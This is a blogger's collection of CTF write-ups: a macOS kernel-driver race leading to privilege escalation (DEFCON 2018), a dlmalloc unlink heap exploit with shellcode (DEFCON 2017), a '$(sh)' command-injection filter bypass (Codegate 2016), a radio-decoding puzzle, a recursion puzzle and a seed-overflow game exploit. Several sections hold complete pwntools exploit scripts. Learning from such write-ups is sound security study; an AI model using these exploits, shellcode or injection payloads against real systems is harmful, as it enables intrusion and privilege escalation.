DEFCON2018 IPwnKit write up

Introduction

I can’t solve this problem during competition. (I didn’t even look up the problem :P).
but, after the ctf, I analyzed this problem & exploit
and, realize that this problem is a good pwnable problem for beginners of macOS exploit.
So, Let’s pwn.. this article!

Reversing & Vulnerability

It is my first time to analyze macOS’s kernel driver(kext), deeply.
But, You can find many useful materials on the internet!
I strongly recommend reading these materials before reading this section.

IPwnKit driver exposes “4 external methods” for user-mode.
Receveing parameter in kext uses IOExternalMethodArgument/IOMemoryDescriptor object.
You can find the definition of these structures IOExternalMethodArgument and IOMemoryDescriptor.
Using these definitions, you can easily(?) reversing the kext drivers 🙂

  • sSayHi

SayHi method just logs “IPwnKit: Saying Hi?”

  • sReadNum
def sReadNum(this, something, arg):
    inputsize = getLength(arg->inputdescriptor)
    if inputsize <= 15: 
        error() 
    prepare() 
    idx = readBytes(arg->inputdescriptor, 8)
    if idx >= 0x50:
        error()
    ReadNum(arg)

def ReadNum(this, arg):
    aa = readBytes(arg->inputdescriptor, 16) // TOCTTOU & no check idx range :)
    idx = aa[0:8]
    scalarOutput = this->buf[idx]

sReadNum method read 8bytes from user-mode argument and treat as the index number of Array. Method checks range and execute ReadNum function. ReadNum function also read 16bytes from argument and threat as the index number of Array, and assign the Array value to output.
But, there is a TOCTTOU vulnerability in ReadNum function. User-mode application can make a race condition attack to change index number when entering to ReadNum function. Using this vulnerability, Attackers can read in arbitrary memory.

  • sWriteNum
def sReadNum(this, something, arg):
    inputsize = getLength(arg->inputdescriptor)
    if inputsize <= 15: 
        error() 
    prepare() 
    readBytes(arg->inputdescriptor, idx, 8)
    if idx >= 0x80:
        error()
    WriteNum(arg)

def WriteNum(this, arg):
    aa = Array[16]
    readBytes(arg->inputdescriptor, aa, 16)
    idx = aa[0:8]
    val = aa[8:16]
    this->buf[idx] = val

Similar to sReadNum, Attackers can write in arbitrary memory.

  • sFillArray
def sFillArray(this, something, arg):
    inputsize = getLength(arg->inputdescriptor)
    if inputsize > 0x4f: 
        if arg->inputdescriptor:
            prepare()
            FillArray(this, arg)

def FillArray(this, arg):
    a = Array[15] # stack buffer
    readBytes(arg->inputdescriptor, a, 8 * this->arrayLength) 
    for i in range(0, 10):
        this->buf[i] = a[i]

Attacker can use an arbitrary write primitive to overwrite this->arrayLength value.
It makes attackers do stack BOF!

Exploit

Exploit code! by Samuel Groß
macOS also have a KASLR security feature & Linux’s proc structure & cred structure 🙂
Leak some kernel function pointer to bypass KASLR & overwrite posix_cred_get(proc_ucred(current_proc))->cr_svuid to 0 & setuid(0) from user application makes privilege escalation.

Useful Links:

Defcon 2017 beatmeonthedl writeup

Vulnerability: Heap over in add_request function

Login check routine is simple string compare.
So, I don’t need to mention about that. (id: mcfly, pass: awesnap)

There is a heap over vulnerability in add_request function.
And in this situation, we can think that using some house series of heap exploitation.
But, beatmeonthedl binary is static compiled, and well-known heap exploitation is based on glibc allocator.
So, we should know about which allocator is used, and well-known heap exploitation works well on this binary.

I found some of the function name ‘tmalloc_small’ & ‘tmalloc_large’ and searched them.
And, I found that this allocator seems old dlmalloc!

Hmmm, Today’s glibc allocator has many security features.
(but still dangerous, you can find heap exploitation techniques in https://github.com/shellphish/how2heap)
but, this old dlmalloc can’t defend unlink attack!
(You can found an awesome article about unlink attack in here: https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/)
and, also heap area is executable 😛

we can leak heap address by free & write a got table to our heap address.

from pwn import *

address = 'beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me'
port = 6969

context(os='linux',arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']
p = remote(address, port)

def request_exploit(text):
p.sendline('1')
p.recvuntil('Request text >')
p.send(text)
p.recvuntil('| ')

def print_list():
p.sendline('2')
return p.recvuntil('| ')[:-2]

def delete_request(idx):
p.sendline('3')
p.recvuntil('choice: ')
p.sendline(str(idx))
p.recvuntil('| ')

def update_request(idx, text):
p.sendline('4')
p.recvuntil('choice: ')
p.sendline(str(idx))
p.recvuntil('data: ')
p.send(text)
p.recvuntil('| ')

p.recvuntil('username: ')
p.sendline('mcfly')
p.recvuntil('Pass: ')
p.sendline('awesnap')
p.recvuntil('| ')

shell_code = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
request_exploit('\xeb\x4e')
request_exploit('b' * 16 + shell_code + 'b' * (0x38 - 16 - len(shell_code)))
request_exploit('c' * 0x38)
request_exploit('d' * 0x38)
request_exploit('e' * 0x38)

delete_request(1)
delete_request(3)
update_request(2, 'f'* 0x38 + 'f' * 8)
heap_addr = unpack(print_list().split('\n')[1][3+64:], 'all') - 0x60
print '[+] heap addr : 0x%x' % heap_addr

request_exploit('g' * 0x38)
update_request(1, 'h'* 0x30 + 'deadbeef' + p64(24, signed=True) + p64(0x609958 - 24)+ p64(heap_addr + 0x30))
p.interactive()

Codegate 2016 Manager write up

Manager binary contains a simple manager console service.
The user can join a service, and insert & modify user info.

Let’s start ida!

I found that user can manage a shell
but only can do ‘ps, who, help, ping, if, logout, exit’

Looking deeper, i found that ping service has a interesting feature.
ping

when some bytes are 0, ping service provides interactive ping command shell.
but, ping service filters our string like below image.

filtering

hmm… it is not hard filtering. we can use ‘$’ and ‘(‘, ‘)’ !
so, we can bypass this filtering using ‘$(sh)’.

How to set that bytes to 0 ?
When user insert & modify a memo, magic bytes set to 0!
modify_memo

and, you can get a bash shell, but stderr is a stdout in a shell.
so, you have to redirect stdout to stderr.

from pwn import *

#p = process('./manager')
r = remote('175.119.158.132', 22222)
p = r
# join 
p.recvuntil('N] ')
p.sendline('y')
p.recvuntil('> ')
p.sendline('y')
p.recvuntil('> ')
p.sendline('y')
p.recvuntil('> ')
p.sendline('y')
# insert memo
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('> ')
p.sendline('2')
p.sendline('aa')
p.recvuntil('>')
p.sendline('3')
# modify memo
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('> ')
p.sendline('2')
p.sendline('aa')
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('> ')
# ping
p.sendline('1')
p.recvuntil('> ')
p.sendline('ping')
p.sendline('$(sh)')
p.interactive()

Codegate 2016 eocnd write up

eocnd (대충) means ‘roughly’ in Korean. but, that doesn’t give us any hints 😛

At first, I thought that this file is encrypted by some algorithm, and need to decrypt by some bit calculation.
but, there was no any good results on it.

And, Operator released two hints.
First one is ‘Radio head – Creep’ (https://www.youtube.com/watch?v=XFkzRNyygfk)
the second one is ‘RKE sniffing’ (https://www.youtube.com/watch?v=81FoPw_zuQE)

I thought that we need to demodulate this eoncd file by GNU Radio!
(I saw that some hackers use a GNU Radio for sniffing hardware signal.)

At first, I thought that this eocnd file is an RKE sniffing result’s binary, and search how to decode this file. I found some blogs that explain how to decode a encrypted RKE sniffing packet, but it was not working.

But, one idea had occurred to me. Does first hint ‘Radio head’ mean that this binary is a radio packet?

And, I found one blog post explains about how to create FM receiver by GNU Radio.
(http://www.rtl-sdr.com/tutorial-creating-fm-receiver-gnuradio-rtl-sdr/)

I made a FM receiver by GNU Radio.
(I changed input source into binary file, and output into wave file)

codegate_eocnd

It gave me a Psy’s ‘Gangnam style’ song file and there was no any steganography!

Flag is just ‘gangnamstyle’ !
(Operators explain that Flag format is alphanumeric lowercase, no space, English)

9447 CTF 2015 danklang write up

#!/usr/bin/env python
import sys

class Memoize:
    def __init__(self, fn):
      self.fn = fn
      self.memo = {}
    def __call__(self, arg):
        if arg not in self.memo:
            self.memo[arg] = self.fn(arg)            
            return self.memo[arg]
        else:
            return self.memo[arg]

class Memoize2:
    def __init__(self, fn):
      self.fn = fn
      self.memo = {}
    def __call__(self, arg1,arg2):
        if (arg1,arg2) not in self.memo:
            self.memo[(arg1,arg2)] = self.fn(arg1,arg2) 
            return self.memo[(arg1,arg2)]
        else:
            return self.memo[(arg1,arg2)]

def fail(n, calcium):
    if n==2 or n==3: return True
    if n%2==0 or n<2: return False
    for i in range(3,int(n**0.5)+1,2):   # only odd numbers
        if n%i==0:
            return False    

    return True  
'''
@Memoize2
def fail(memes, calcium):
    dank = True
    if calcium < memes:
        if memes % calcium == 0:
            dank = False
        else:
            wew = fail(memes, calcium + 1)
            dank = wew
    return dank
'''


@Memoize
def such(memes):
    #print 'such (%d)' % (memes)
    wow = dootdoot(memes, 5)
    if wow % 7 == 0:
        wew = bill(memes - 1)
        wow = wow + 1
    else:
        wew = epicfail(memes - 1)
    wow = wew + wow
    return wow

@Memoize
def brotherman(memes):
    #print 'brotherman (%d)' % (memes)
    hues = 0
    if memes != 0:
        if memes < 3:
            hues = 1
        else:
            hues = brotherman(memes - 1)
            hues = brotherman(memes - 2) + hues
    hues = hues % 987654321
    return hues

@Memoize2
def dootdoot(memes, seals):
    doritos = 0
    if seals > memes:
        pass
    else:
        if seals == 0:
            doritos = 1
        else:
            if seals == memes:
                doritos = 1
            else:
                doritos = dootdoot(memes - 1, seals - 1)
                doritos = dootdoot(memes - 1, seals) + doritos
    #print 'dootdoot (%d,%d) = %d' % (memes, seals, doritos)
    return doritos

@Memoize
def bill(memes):
    #print 'bill (%d)' % (memes)
    wow = brotherman(memes)
    wew = None
    if wow % 3 == 0:
        wew = such(memes - 1)
        wow = wow + 1   
    else:
        wew = epicfail(memes - 1)
    wow = wew + wow
    return wow

@Memoize
def epicfail(memes):
    #print 'epicfail (%d)' % (memes)
    wow = 0
    dank = None
    if memes > 1:
        dank = fail(memes, 2)
        if dank:
            wow = bill(memes - 1) + 1
        else:
            wow = such(memes - 1)
    return wow

def main():
    memes = 13379447
    for i in xrange(0,13379447):
        brotherman(i)
    for i in xrange(0,13379447):
        for j in xrange(0,5):
            dootdoot(i,j)

    for i in xrange(0,13379447):
        such(i)
        bill(i)
        epicfail(i)
    print such(memes)
    print bill(memes)
    print epicfail(memes)

if __name__ == '__main__':
    main()

mma CTF 1st 2015 RPS write up

from pwn import *
import ctypes
import time

#conn = process('./rps')
conn = remote('milkyway.chal.mmactf.link', 1641)

seed = 'a' * 4
LIBC = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
LIBC.srand(u32(seed))

conn.recvuntil(': ')
conn.sendline('a' * 48 + seed)
for i in xrange(0, 50):
	conn.recvuntil('[RPS]')
	janken = LIBC.rand() % 3 
	if janken == 0:
		conn.sendline('P')
	elif janken == 1:
		conn.sendline('S')
	else:
		conn.sendline('R')
conn.interactive()